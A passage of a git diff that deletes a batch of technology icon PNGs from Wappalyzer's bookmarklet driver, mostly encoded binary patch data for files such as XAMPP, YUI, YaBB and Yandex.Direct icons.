zkfjuq5tCG|SC3=+xa2tAd?9J>9~LRAFMMPc& z*~w~Bq+BR;vH6|^H$)c|wINr?62W<);VN@H_nN*V(&n>0+&a2`DP^q#DR29R#yvt8 z>9pLFm=6`1UQXn)luJ;YsDdW35C^iQ=YMuxi)ZI7lVvl<|GgRSc-N}s+w1zZoYSwS z{k}(N>3=AtXt#l6e)-9Zkf&55;6x=fNyP|F$iwWyq6a%i`M>d6&az+V$KrbJKV-! zGqwsJ-_89)qVsPWkFBgc`!(Y=yq0CW@UPjI{haoUOf?P9xW)jmjotjtW8cKj>36BW zMExfm4%8LY*>Bo!|KNwafAq#b5B>Z=a?vjjrFZ<|V0tGVr{K=-JjQd3VeI<4H5ohB fWWKb<;c5Q^&Wy-`OGALA00000NkvXXu0mjf_v}6s diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Wowza Media Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Wowza Media Server.png deleted file mode 100755 index 5d1c498f0c1480907cefa564ed1b457fb522a483..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 512 zcmV+b0{{JqP)~GvUHS^9r=iWKJAta%AM;0=Hq^sYA8BM|y)%cGA@5qifq1W5sU3q^u=+1_G zw(@0y?-Kp}DVsw>#R$0zlFvOw(857P4YV+a&|q=Gq#V%84M>5RWP`p!D37OxfnM^_ zJo~<%ruR7upsE0skeHKvwD3u(AmuYdJ_||OnS>w+u?s?6bu*6M?Beq33Vj0uAf+Y~Ha0hnE=`5BH3AwD zU~@Qdd~#w?5uTYyVg%OqcDQVc_}AB==Mrn6qtj-?s^8C^ z_3$XA@z;5LYKoDm#6Qrt)K_0zT1x#_rW3{@QS$*>AeCB#fJu!200001wkoPVyn-d5c-F%Yo3rbd($KqM6rL=a?@7=;x|1ds+45JZ3pZCM6dCEXCq z016{05Dk>f?r8*2B#LUbo2zr#nREU(nHf6F%$b&e-3NX+@G{@~@_pYqbB@uX`sT7N zWQvdI{0WB{6M}^G&yA>;w*l(_44|@Q;RyKY07f8zF##Azcx(BL00UNi>$)wf46ik_ zRO1N?BAI3TwmK|)7(kLSN&MU4F#n)qY&3@uU`!$g(%89NAPGapB%_w6GXxT5qMZPh zPtzdNhh>UL9()Wzh*^Mq9RLe5-CC^#Q5guZ;w->-CIEz!7YI;?UO7!+!zcjJ!OcYb zH(~>q63o8|e|$gs^B2NJ4}fCg!#l8n%i1(|%O>37RRB~rO~>*Bbm74XAawuVJ(-)IqrUf9qGJchtazar@SCme+UcKBy#&zg1cvBDfRYhl>X4I`Swj!d@dMQN zJcB>BA97QveX+jT_S}?q%>t~$%zBLgPwEKpbYS>1zv7P_gxs{oPQ+io1{l^i*rpK# zASF&7@T8A`R)TKSe(CFkSFI#_`)2B&Zy-AKD*5%p5LKxT%_Cg;aH9RNoi=)UcpL(h zvI7#yW#^&_e4-<@YZ6Kf(>shn;7E3$X8;QV0OBJ%seJb)WcwR!uWp*%)Qhu;4<}md z)@=I+pyv)qG!H!kxEr4$I`R=Zd$e^s34Dy@rqRI1O~b+fifaV37vYwzp@D@UpLDFl z!_kXOf#}Egaf|Nr^w#B zi}3Qh_&-G7zfJw)HCS;F5UIFavID8+zJ|?N)-;#E3;;z{Na=yOJS_;9tS0($BP#!e z1ui{=k_S#Q#txMn&5|M4UY9i>v8{wWUc$A5K29>MR z6SPLqeY~dy8CBW$)mciV2*W^(e=>co@Bt_PjQIZW2w~9eLzR2j}I8k>M-2y;2CI8c@J7O)QBAK0~jZtouO Q#Q*>R07*qoM6N<$g2yLF^Z)<= diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XAMPP.png b/Wappalyzer/drivers/bookmarklet/images/icons/XAMPP.png deleted file mode 100755 index 4e6187200001ec3845da17bd131d0687b7afa5d1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1929 zcmV;42X^?0P)-_JKesvEp09BwotmoHcF|0X^dcL)x>CQ+9+s9P)$Ni1vExt64fXg zVoaloQBeXa1;hX}6&qWs!J0~2pe^Z(LZ4gu-tE3-X6O6v@tb=y`F2tkqx_Tq9YrS-B#`ITaYgn-=nobP=}}zk5m~80z~=37{7S<|0{x1AhINm z;bO<6!;`xf{&wbdH$N&n*Z<^GFaPm@r)@mU_;F>*$eDjx}*r3pqoHBcUUk=sK1he96n2)UWl~MvIEyB!NM0EWc;-|imirI>ZN*F^*LBNZ_ z1Q8ylK1{T9HFnL95fM<$Oz4+ENOZ?T@SD$~Cw60&-;G)Mbv#rNkyay4zLMznUt)fJ z8*=njgaQJdW^{{*tHXquL?62kn!zRO03XZ=nij#${@6rgQKrlfVt}#NHdX($Iz2|(bqPimA=ey2)G2^ z+7JDw{q)q@Akw|uo7%$&R0sTQkgN(=MkC6@$=&FIE%5$N;-MO5!P&#O&Fj!Kh!18W zS|Q%yo-ToLQ!%&R+tN*XY$r6X)IOjYSo;_?H z&L4rs^$8ws{}vb-1~U#wkjn(bBbeDALS|f>`Ji6KZTtaL2B6sP&tRfpvda-1uHrLI zp1cR!@IX4!0c7rtuzfuwZj38P>Orv?Rkou$(UW^Z3#Gwj(v_G`d>bau=Ix+=eE_$2 zBjk!+toHTzHw6W=a5;3&g;Q?;f?g&71MQuRhMqa-+lfMZ7*yAG5`|{ZBOO!2^bFro zV?e?E{Xw+a4-#bpvUbi)<2HO3eSKT@l4WRq$8CKOed%#1mK$yArz4DUUL7v2l-vEB z_tNNa2C@JOp*%wuNgnwE?uDQG^=RmYqqy~JanIimCJJU786tV?u2jhP;nJC=fkGRe z*hBL0og^>(EKFKyjb~K^RRST<=FyR1;*IxXw*LX9cO#_<=->tD*$d&t%f@UNzp3C~ z;9hward=I`4V?4$?#phApn|HRfKvqw7F)21QxXlEiIX7GSj0pmy*+ULD5wJyg)H*z z0Ep5ADv>X*pY^>bL6vacqUpX!waaZ5<5KW4UW`$tdz#@t6Yq`t8pG{9ALbNNJ1q5g#QnkiNFzpS7VnF zDkCwjqy4-!Q|A7;(z9>XK&6JNr5+155+cc(;N8M$V4OfLaSYZHhU$*ooF!XqzU#Ut z64hw~M|Z7^sZO!hc3F`qG9W1LHokgF5Flt>k`vX)o|9{qY%47O=(_&^%I9wzqt*6a P00000NkvXXu0mjf%ln;B diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XMB.png b/Wappalyzer/drivers/bookmarklet/images/icons/XMB.png deleted file mode 100644 index 1850b22dbe5c151777051e2467330bae4e9d095b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 697 zcmV;q0!ICbP)u!8 z!EpW07Fo(%D}jS%+mA1kWy$~!teATGK6^~&e|(>BYhGOK8KmCzTQsWE zSSP`*?d=#{GMXfBDh|4;`{&hr9myu6I$hFMlP244XQ!dbm*VY{}c+El9(-)hs6EO z@9%m23LREx{LwwHl2O$g>*2T(4C~Rba&kJDOr?T`664980FG?B0rpR=S5_D_s&$<- z$EiUDkYv10Y-f16< zU4HJmb5)%5yrk^d_HJ$;A)rCxdUF4oGXMN)U7~5&0yt=$ z9f!l@ZDU!z#gd=+;f%}vc)Ci3ww1WLdw5l)Zgl?Iu)0m>3hf~JujPj=KRh(u!?tyF=CoX|<@x&Iu_~c~qgdup$OV*ujL#WHx%I*{H#rR!Ot(K2AO8!)9KNwh0s z!!vx+oX7i*u-G0^ut=QnnxU$pwauBu`oP@$EMuuEPn;`<*TvubA4sPiN3=6hsXm9{ zPKM!2is4I$&q$WpJC)%>uJBram~C@_96YQlUcoVT&pD0UMVjD~laowiiyJqoA3m)o zRl6-}$2)-1WNmpjW3MexvM5NgJ7l>|YL$nFhpVfrx3{+kB|uF80004WQchC`sj5CK*mUOwNzAa(&kA+Uh32)n3Qa7bu) zL}U~bNIu$|Q^LO4ps3{G>BY#Qq6!pXR#Vr|>V7Pzyd7JjEsyfu5Ruzv2hGw5T5`P;YdtMPDzCb zu%x9kGG=6EW#_;h&YGK-Ur<=YfB-DT%q0vs0066+8rsrA_u>Em002ovPDHLkV1h&1 BB;f!6 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XRegExp.png b/Wappalyzer/drivers/bookmarklet/images/icons/XRegExp.png deleted file mode 100644 index f0bba7a6de3c55315a8d8d5b6d26f6c5f9ccce7f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 302 zcmV+}0nz@6P)NklF44t{QK1r}iowqOH4aYjTImb>vH1K0-~9OC@=zr790kmF^A;9=OU`k#< zU{b!U6ZGqK6D%Sich6Od^nq#u0{K1yUHR@*pe^5=3Jl1%>V$J(k#`;_|UQ@%8Wf9~Gq AhX4Qo diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Xajax.png b/Wappalyzer/drivers/bookmarklet/images/icons/Xajax.png deleted file mode 100644 index 3283cb208519c1f26ce47de3a3d879cd5b982ead..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 893 zcmV-@1A_dCP)_6M;EBe{{wMlVK0k?C;>dMxh_6qdbd5J_dJ7$%zkEhp$rAP!Mf zjNVKTO~s{9ap(*!*tnbKhA#$1OV+@Wq-{`~od@$5u7bB$u7;^$;V>g67G|yA;Cz^# zX|1kNnp#_RD?)amtcjcL>FXF97ZlMZm6}#@pVGS03cx>n8t5x9y7pW;d6Y`kIG5RQ#*~0|hXd*DwR3d3wn-~A^$kd4qngcl&Sot7?Mc4^8gdh; TVl5*A00000NkvXXu0mjf`opPw diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Xanario.png b/Wappalyzer/drivers/bookmarklet/images/icons/Xanario.png deleted file mode 100644 index 6fe9112098ae95bcc39ce982e3bf93fa0d7b1b0f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 465 zcmV;?0WSWDP)SHCQ#4_j(EixFg zK`hR(u>Pcb%+|pMi&Wr?H94d2BG2qI9UTtX!G>Tb-;yP=V7tq_;&MP9O{m{$a1nHgK8VHxCIGZ!<~TCv8T=}E z$~c{Z>K^8u>_C|{EsB7=WXm-+3F&%6TjV2-mYTkFCf3gnn{gY%QW5Jlw%@WHC@`RF zEabtDmwoK8w#e0=GtCqQ*T z#_YrQ32Oiv3{+RM;Q~-w@U*>fCm|zrPXpBfRZrM^3)v5K>rcZGx(0~xKm_yyTmw!g z*>!FPDm7_d2ehGW+f@P@#PSzFJOC608V}UzF<}P*8>kS|I5mKhRBS&(L_1*=(#YUb o${>@siovIZ!LxuEBp%xj0DnGCEiED|>i_@%07*qoM6N<$g2K6UuK)l5 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/XiTi.png b/Wappalyzer/drivers/bookmarklet/images/icons/XiTi.png deleted file mode 100755 index 6e20ea90c761813ae832f9f7ed466f93f10a7841..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 621 zcmV-z0+RiSP)uip{{T;k08orYV1~N9$XRTST5OG5ZjM`Sk6v+*VsepWbCG6tlxujEaDA9`fSPoG zn|6VlcY>XHgr9_rqlS&7gpR3((hyYNA08oVhPlW(cgX-$= z?d|gL@AC8V^jK?*yTsqY%HqSz(L1M{uV!XP`4@pcGt}09BAST7v*m zi~v%K08xooYK)nkv6h~;jhC~LpTv%!$O%z`xVp!;xyE;nxp9iQaf-TMezA^}sgRbd zkCv^JnXLd&ivUrJI$ML4rOcS4!lJ9ksjkASuD`3Ty{)jm08ojqvcRaTy8uv!r>eWA zs=A@2wxF)jp|8@Vu+XTp(W1sk@^$Bk!^-|fA|DB--*yMqe<&@E`{$|X*XQ1FvQTHB1Tb17a<~9A8MFb{sV??o zSz_X6@W{Y)uU0)Dx&a>pA0XK#*%MXnIBWu4qwSjx%ne@g0zEp`XzkKLuRl^ob8)@&MWBu z|Nor{*SvwEj3q&S!3+-1ZlnP@-kvUwAsp9}6ATI&nbO(V#Ka8>8aNtSViq(URK0T4 zl*L0qLQ6nWolUi)LukUnB~nXRk{lQ(Fp4=PIxKBb*rLQN+_LZhgJ4h!1B1;S$;B1C Sr;Y=SW$<+Mb6Mw<&;$TIelpwu diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/YUI Doc.png b/Wappalyzer/drivers/bookmarklet/images/icons/YUI Doc.png deleted file mode 100644 index b0b64781bfe2d581cc6062d3dac82750061f25e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1737 zcmV;)1~&PLP)TKW`O`Xx5?Tln{(Z{>+U_@=XpNw$YXAGTVDCR9G??^H@AEiR{#J2 z000000001hi}h@Iyv0VMc(lAv_F&O`0_EY zp4qnj1-uFX006^!|FU{0%kuD?eMI}{dEfYO=Xjg?&YJ7tWZIm2Kpu0ehm*yb)pap! zzGXU@cB^X=?s-|%V?xi=Gc6FGx^J%;9yf+u7Drlz*H`Nr2lmD~32UgeQF}F&s zZdjbT=FO(V$!#EjR2}M2hnd~E8>;G1Q+rrkSG(!3^a6F!o8Yc*7#1hDoxEmoX@%8w z*L^#PICsN&uG`!pP?SVf0#pSxK~tk=2t|m9RUPi@8=bsrb-&$RumSz)4bk6+d~RY^qX2o_3aN(lbjYMe4HOX4*`5tPn#Cu^0x4nv(d^XYP3B3wJ#H?i((yFP`|l z@AI(_K7(QrfbcWF{oU@ne*w?^+Z|u}>(?zgSF|LHG=@bCFko>eA{itYMph$>k;R98 z>MQ0^@ZKlh;te-1jhq{aWHGY1@!*A@{H3>oPJZWo&lnj-hLMF-O*4m6UUTwIFkp9O zW;bo>Acy8K9qMrVr7NHNv#*1(#FL+R1QWknpi5zv}e*1n>B<2R!rx*BK;y*Sjvgshm$=g)0LT%!^xb7PyYJz0G|BwM&QUfww$-={-Mv)4Shy(_0_81h2ik`I`^F zC}Wxq&87}B)3hNVB7hZYlBsshR0YitfCT)}FF);9Klx7Z{trC@0RH3yPdjp=NVHKg zbEVzXZswk&Cu^?Tdu0Wx4oyuP83H1q4ol7yPks7pzV__*c+1kEJN zKc)kbL`yTx?xw@cPKSgvV1=5d!{G`HLlQ6q)GmqO!$1E;zxml81^^#<;y*Npb|W!c z6~we_c3Ov%X*ca)KvnIg6R4^xssyTvdhXwEd*-Rz0G|EgZC`on8>SsqQ&n@QUDY%} zL<9?1foa+-E*$O|24aXQbVw$KiWvU&Q!je>2Ok9g@~Iab-4s+Y9oi~tVsSW`cDuW# z4XhB0siqyU&=44cVbE$qr(+%fj^i-xl%fTuT|pf^p{Q6K?itRlusd1Y=jh4E;wU3A z4SE=f*-GL-8q)-jwT|wTBI4+Vnk{0QW;dY2a0XU5+|gdw9A*zAi$kQ5L`51&q>*rb z3Bbj*;php~R-si?r7J2py4l^OMXa#&(#&Q!!?Zg@j1EbpLlT)7q;YX$0kB>~J52|w zvkIlE-AofqyXmld-Rg!F4!dDDZFCaSK|+U-(2^K)kjN;2oYn4%mQtlvwA3_9?G%Us zRtV}ayJ-$7$|hxrY44J zBO(bsL@Z|jWSI{4v{4nIw7_B4PC877-90U^!gLs>cE@yNP-3Vcf^?A}wO+*4>l-+~ zTO1HcMYRc&H1yGw?2 zYM8AwBmxO#+6}=#)TSk9DL^-|Y7bQ~O|Zgrhytix8x#bBQg*tOumCpI)ZQEYNYXATM5bO2jEDw#bJlZ)Q zp6&Olw|9D5+wb5w2L{MvZuPXh{Q0E+ApZWeee1K>00000000000001I=V#X+S3f@M fM=y>yz32Y{ey|G+Z)RVU00000NkvXXu0mjfxwk;q diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/YUI.png b/Wappalyzer/drivers/bookmarklet/images/icons/YUI.png deleted file mode 100644 index 0dae7fe178860ecdeac5611eb8b86f24d78b5be8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1287 zcmV+i1^D`jP)vhYt|^dN zto3IWR19b4NCz@+mG=`RLWcSX|Ju057^$kw@cKya8`o2YcGfVnphsdX9>(-_M1!w_rwQOrDr zSmyN zhs5CF3li(bK8w^ZMPCA5qU4`h4&1qil+<+#R6q#Y`XCtl7!Q{iUVy2Yg~C3EGGhQm zTK~|c!ByRnudUsY8G;iy0xmV1lv-221g&EU`lcmRHXOkf))DCVb}XRWGKG@L(LX8u z<&K`fE&_j~)QG2MlTvFO%h0)2VQ8jLM-Zx-amXzmXzvI4XEgQ8kh4LQ8pcti@z-BA zb%fxEr%vv*rePUc*BbP#Yccp-6mIpx)VvBy+ctC$R-vp3L1Lcd#QXg+spSMdI4iZ< z@d`Tk2J~&IaAmb0me$w&vxcS(sOlC;ycrU26m;~=MMZNb_d3OJ>b1IY6}t9K98w{7x8+o|Xj@l2DP^~hIx*z@3`(^4yFnn^5^(c~S+;Q`)u zBef)XARQO4pu+Rvj(jNX{1a#oPp8iC8I;lSRWz=o!1Zx>m6rz3d;-pk*Af*^9v4sL z1Hr$)kbK7GjWn8O@1m)>H`fScb)l2++5jE9mqzOZ;H6~l+Q z(!qfIC&UvfJskYts&GRbZs6c`lTh;T0hDU`P}Q+>hIqk*csbHRWQ+Sp zuT+5Ey&=@QRu1&e1%gi{;3dpYsHh2?FP?k|-L<=c+2aq$MhSCrK+Au&YZ zBE@4$A5Imo`89w0k@4b zFT124nfX1TYrW~_iodg%+BOg41y~;@i#JU(BP!mlvS-LF>_JA}llp5dfcl<&lzulV zUVThF!vy!TK~DJ~vWokVapyl_kDspZSnLm@hWIs9~X~~o`dfTu6t1dX#{t% z9pMkBiFcb5Pt=Q>c~7_k0)oG5nOe5e=v8YW@xmnDA>DEk;$;Z=qvy6$@K3Db%8_(R x&(g&6eN*`KJ%K;P3J?nZt;NAn{N_FBN#Mn6Ll<002ovPDHLkV1h!^iNpW^ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/YaBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/YaBB.png deleted file mode 100644 index a4f9b28fdc118c1943f621edf487028c368f4193..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 357 zcmV-r0h<1aP)Vg4}R zoVGK0cMQWomFHR;&6cY?Ual5iz`xg-)>;A*(Eq zdQ7o7IHByZ?GRATVcUZuG2Mgx>(K={o#oATc9vl~+M2sXd4gYFt@1GSzTKW`O`Xx5?Tln{(Z{>+U_@=XpNw$YXAGTVDCR9G??^H@AEiR{#J2 z000000001hi}h@Iyv0VMc(lAv_F&O`0_EY zp4qnj1-uFX006^!|FU{0%kuD?eMI}{dEfYO=Xjg?&YJ7tWZIm2Kpu0ehm*yb)pap! zzGXU@cB^X=?s-|%V?xi=Gc6FGx^J%;9yf+u7Drlz*H`Nr2lmD~32UgeQF}F&s zZdjbT=FO(V$!#EjR2}M2hnd~E8>;G1Q+rrkSG(!3^a6F!o8Yc*7#1hDoxEmoX@%8w z*L^#PICsN&uG`!pP?SVf0#pSxK~tk=2t|m9RUPi@8=bsrb-&$RumSz)4bk6+d~RY^qX2o_3aN(lbjYMe4HOX4*`5tPn#Cu^0x4nv(d^XYP3B3wJ#H?i((yFP`|l z@AI(_K7(QrfbcWF{oU@ne*w?^+Z|u}>(?zgSF|LHG=@bCFko>eA{itYMph$>k;R98 z>MQ0^@ZKlh;te-1jhq{aWHGY1@!*A@{H3>oPJZWo&lnj-hLMF-O*4m6UUTwIFkp9O zW;bo>Acy8K9qMrVr7NHNv#*1(#FL+R1QWknpi5zv}e*1n>B<2R!rx*BK;y*Sjvgshm$=g)0LT%!^xb7PyYJz0G|BwM&QUfww$-={-Mv)4Shy(_0_81h2ik`I`^F zC}Wxq&87}B)3hNVB7hZYlBsshR0YitfCT)}FF);9Klx7Z{trC@0RH3yPdjp=NVHKg zbEVzXZswk&Cu^?Tdu0Wx4oyuP83H1q4ol7yPks7pzV__*c+1kEJN zKc)kbL`yTx?xw@cPKSgvV1=5d!{G`HLlQ6q)GmqO!$1E;zxml81^^#<;y*Npb|W!c z6~we_c3Ov%X*ca)KvnIg6R4^xssyTvdhXwEd*-Rz0G|EgZC`on8>SsqQ&n@QUDY%} zL<9?1foa+-E*$O|24aXQbVw$KiWvU&Q!je>2Ok9g@~Iab-4s+Y9oi~tVsSW`cDuW# z4XhB0siqyU&=44cVbE$qr(+%fj^i-xl%fTuT|pf^p{Q6K?itRlusd1Y=jh4E;wU3A z4SE=f*-GL-8q)-jwT|wTBI4+Vnk{0QW;dY2a0XU5+|gdw9A*zAi$kQ5L`51&q>*rb z3Bbj*;php~R-si?r7J2py4l^OMXa#&(#&Q!!?Zg@j1EbpLlT)7q;YX$0kB>~J52|w zvkIlE-AofqyXmld-Rg!F4!dDDZFCaSK|+U-(2^K)kjN;2oYn4%mQtlvwA3_9?G%Us zRtV}ayJ-$7$|hxrY44J zBO(bsL@Z|jWSI{4v{4nIw7_B4PC877-90U^!gLs>cE@yNP-3Vcf^?A}wO+*4>l-+~ zTO1HcMYRc&H1yGw?2 zYM8AwBmxO#+6}=#)TSk9DL^-|Y7bQ~O|Zgrhytix8x#bBQg*tOumCpI)ZQEYNYXATM5bO2jEDw#bJlZ)Q zp6&Olw|9D5+wb5w2L{MvZuPXh{Q0E+ApZWeee1K>00000000000001I=V#X+S3f@M fM=y>yz32Y{ey|G+Z)RVU00000NkvXXu0mjfxwk;q diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Ecommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Ecommerce.png deleted file mode 100644 index b0b64781bfe2d581cc6062d3dac82750061f25e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1737 zcmV;)1~&PLP)TKW`O`Xx5?Tln{(Z{>+U_@=XpNw$YXAGTVDCR9G??^H@AEiR{#J2 z000000001hi}h@Iyv0VMc(lAv_F&O`0_EY zp4qnj1-uFX006^!|FU{0%kuD?eMI}{dEfYO=Xjg?&YJ7tWZIm2Kpu0ehm*yb)pap! zzGXU@cB^X=?s-|%V?xi=Gc6FGx^J%;9yf+u7Drlz*H`Nr2lmD~32UgeQF}F&s zZdjbT=FO(V$!#EjR2}M2hnd~E8>;G1Q+rrkSG(!3^a6F!o8Yc*7#1hDoxEmoX@%8w z*L^#PICsN&uG`!pP?SVf0#pSxK~tk=2t|m9RUPi@8=bsrb-&$RumSz)4bk6+d~RY^qX2o_3aN(lbjYMe4HOX4*`5tPn#Cu^0x4nv(d^XYP3B3wJ#H?i((yFP`|l z@AI(_K7(QrfbcWF{oU@ne*w?^+Z|u}>(?zgSF|LHG=@bCFko>eA{itYMph$>k;R98 z>MQ0^@ZKlh;te-1jhq{aWHGY1@!*A@{H3>oPJZWo&lnj-hLMF-O*4m6UUTwIFkp9O zW;bo>Acy8K9qMrVr7NHNv#*1(#FL+R1QWknpi5zv}e*1n>B<2R!rx*BK;y*Sjvgshm$=g)0LT%!^xb7PyYJz0G|BwM&QUfww$-={-Mv)4Shy(_0_81h2ik`I`^F zC}Wxq&87}B)3hNVB7hZYlBsshR0YitfCT)}FF);9Klx7Z{trC@0RH3yPdjp=NVHKg zbEVzXZswk&Cu^?Tdu0Wx4oyuP83H1q4ol7yPks7pzV__*c+1kEJN zKc)kbL`yTx?xw@cPKSgvV1=5d!{G`HLlQ6q)GmqO!$1E;zxml81^^#<;y*Npb|W!c z6~we_c3Ov%X*ca)KvnIg6R4^xssyTvdhXwEd*-Rz0G|EgZC`on8>SsqQ&n@QUDY%} zL<9?1foa+-E*$O|24aXQbVw$KiWvU&Q!je>2Ok9g@~Iab-4s+Y9oi~tVsSW`cDuW# z4XhB0siqyU&=44cVbE$qr(+%fj^i-xl%fTuT|pf^p{Q6K?itRlusd1Y=jh4E;wU3A z4SE=f*-GL-8q)-jwT|wTBI4+Vnk{0QW;dY2a0XU5+|gdw9A*zAi$kQ5L`51&q>*rb z3Bbj*;php~R-si?r7J2py4l^OMXa#&(#&Q!!?Zg@j1EbpLlT)7q;YX$0kB>~J52|w zvkIlE-AofqyXmld-Rg!F4!dDDZFCaSK|+U-(2^K)kjN;2oYn4%mQtlvwA3_9?G%Us zRtV}ayJ-$7$|hxrY44J zBO(bsL@Z|jWSI{4v{4nIw7_B4PC877-90U^!gLs>cE@yNP-3Vcf^?A}wO+*4>l-+~ zTO1HcMYRc&H1yGw?2 zYM8AwBmxO#+6}=#)TSk9DL^-|Y7bQ~O|Zgrhytix8x#bBQg*tOumCpI)ZQEYNYXATM5bO2jEDw#bJlZ)Q zp6&Olw|9D5+wb5w2L{MvZuPXh{Q0E+ApZWeee1K>00000000000001I=V#X+S3f@M fM=y>yz32Y{ey|G+Z)RVU00000NkvXXu0mjfxwk;q diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Web Analytics.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Web Analytics.png deleted file mode 100644 index b0b64781bfe2d581cc6062d3dac82750061f25e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1737 zcmV;)1~&PLP)TKW`O`Xx5?Tln{(Z{>+U_@=XpNw$YXAGTVDCR9G??^H@AEiR{#J2 z000000001hi}h@Iyv0VMc(lAv_F&O`0_EY zp4qnj1-uFX006^!|FU{0%kuD?eMI}{dEfYO=Xjg?&YJ7tWZIm2Kpu0ehm*yb)pap! zzGXU@cB^X=?s-|%V?xi=Gc6FGx^J%;9yf+u7Drlz*H`Nr2lmD~32UgeQF}F&s zZdjbT=FO(V$!#EjR2}M2hnd~E8>;G1Q+rrkSG(!3^a6F!o8Yc*7#1hDoxEmoX@%8w z*L^#PICsN&uG`!pP?SVf0#pSxK~tk=2t|m9RUPi@8=bsrb-&$RumSz)4bk6+d~RY^qX2o_3aN(lbjYMe4HOX4*`5tPn#Cu^0x4nv(d^XYP3B3wJ#H?i((yFP`|l z@AI(_K7(QrfbcWF{oU@ne*w?^+Z|u}>(?zgSF|LHG=@bCFko>eA{itYMph$>k;R98 z>MQ0^@ZKlh;te-1jhq{aWHGY1@!*A@{H3>oPJZWo&lnj-hLMF-O*4m6UUTwIFkp9O zW;bo>Acy8K9qMrVr7NHNv#*1(#FL+R1QWknpi5zv}e*1n>B<2R!rx*BK;y*Sjvgshm$=g)0LT%!^xb7PyYJz0G|BwM&QUfww$-={-Mv)4Shy(_0_81h2ik`I`^F zC}Wxq&87}B)3hNVB7hZYlBsshR0YitfCT)}FF);9Klx7Z{trC@0RH3yPdjp=NVHKg zbEVzXZswk&Cu^?Tdu0Wx4oyuP83H1q4ol7yPks7pzV__*c+1kEJN zKc)kbL`yTx?xw@cPKSgvV1=5d!{G`HLlQ6q)GmqO!$1E;zxml81^^#<;y*Npb|W!c z6~we_c3Ov%X*ca)KvnIg6R4^xssyTvdhXwEd*-Rz0G|EgZC`on8>SsqQ&n@QUDY%} zL<9?1foa+-E*$O|24aXQbVw$KiWvU&Q!je>2Ok9g@~Iab-4s+Y9oi~tVsSW`cDuW# z4XhB0siqyU&=44cVbE$qr(+%fj^i-xl%fTuT|pf^p{Q6K?itRlusd1Y=jh4E;wU3A z4SE=f*-GL-8q)-jwT|wTBI4+Vnk{0QW;dY2a0XU5+|gdw9A*zAi$kQ5L`51&q>*rb z3Bbj*;php~R-si?r7J2py4l^OMXa#&(#&Q!!?Zg@j1EbpLlT)7q;YX$0kB>~J52|w zvkIlE-AofqyXmld-Rg!F4!dDDZFCaSK|+U-(2^K)kjN;2oYn4%mQtlvwA3_9?G%Us zRtV}ayJ-$7$|hxrY44J zBO(bsL@Z|jWSI{4v{4nIw7_B4PC877-90U^!gLs>cE@yNP-3Vcf^?A}wO+*4>l-+~ zTO1HcMYRc&H1yGw?2 zYM8AwBmxO#+6}=#)TSk9DL^-|Y7bQ~O|Zgrhytix8x#bBQg*tOumCpI)ZQEYNYXATM5bO2jEDw#bJlZ)Q zp6&Olw|9D5+wb5w2L{MvZuPXh{Q0E+ApZWeee1K>00000000000001I=V#X+S3f@M fM=y>yz32Y{ey|G+Z)RVU00000NkvXXu0mjfxwk;q diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Direct.png b/Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Direct.png deleted file mode 100644 index f5d6da8c253e88fc83b5f8abcbc210c47b0d95b9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2031 zcmVAN}=i?>IjH}qm>F36{?6h$cXA73ja9h3^NXl zDB~cg12`is6@eNQ7?}zMTFR?5ZA#j-Y1%Ytnq*(u$KBm~&d+qGJEUonfq~D=Z)X2F z_x#T9ch0?M6+nLX?RNq{S4u^N4^N38utzB_iY&Q%glX8L9Y4DR(RYC$!bd`=X)}fw zfaOd><#zr!2gI0$2p}HHvauucu$&kuKoq8u#w+$A#(?sn)Wor7ZNswr)-wg$7%w*M zQk39NoK2;8n2INq-88s)lodow2}FYm;Dkc>gRN9jI{_c4`gk4zrc6Mk-ui(sfda%- z2{bLIR6GQ}7UFZ);)G{1mGWpeqkS7tCQm5bN;$Q=Rxtzwxj(Vufm@h_8hPW!Qxi}Q zcH`-k-3rZZzvP1u?K0eX7r|&N)l>(d>a94vdF7vbnZOd`F+Na!tXL9!b4Yybd+5S` zJ_s+@L2~JDFj`~97b0R#JX=4-BrI(_#)mJKB+z&X%Izg}a1*}B8PpZiJ&g2jp-zm@ z^V+?1KK~<9hh77~nQ1=! zxwmoEY$6SF04R)fv#b4TcKqWU@t*O_iM`LSAsC6_I8hWeq%z_MBR=y=w3ovQBrwJc^lw@7`w11$wbd)1COY%W^m5332Y)w~4iU0);|E0g&z6jO|ZS=MT@KoZCZ%;?}Yii4Yp&;J(6 zA49w6D(sqtY8bi@H}jP6JGvZ8W&uRFLoB=DHKX9l%l3GdKj>&Qyee7 zL#3Doz~6KciG|luPQ8f}S&S2E0?Wea+J=1cy#%y}6KcSTufRR>7*@k7#A)VK3WY@- zA}CQOCy0fJP-FSgVq?v?kaGVL0*xqt3zB(> 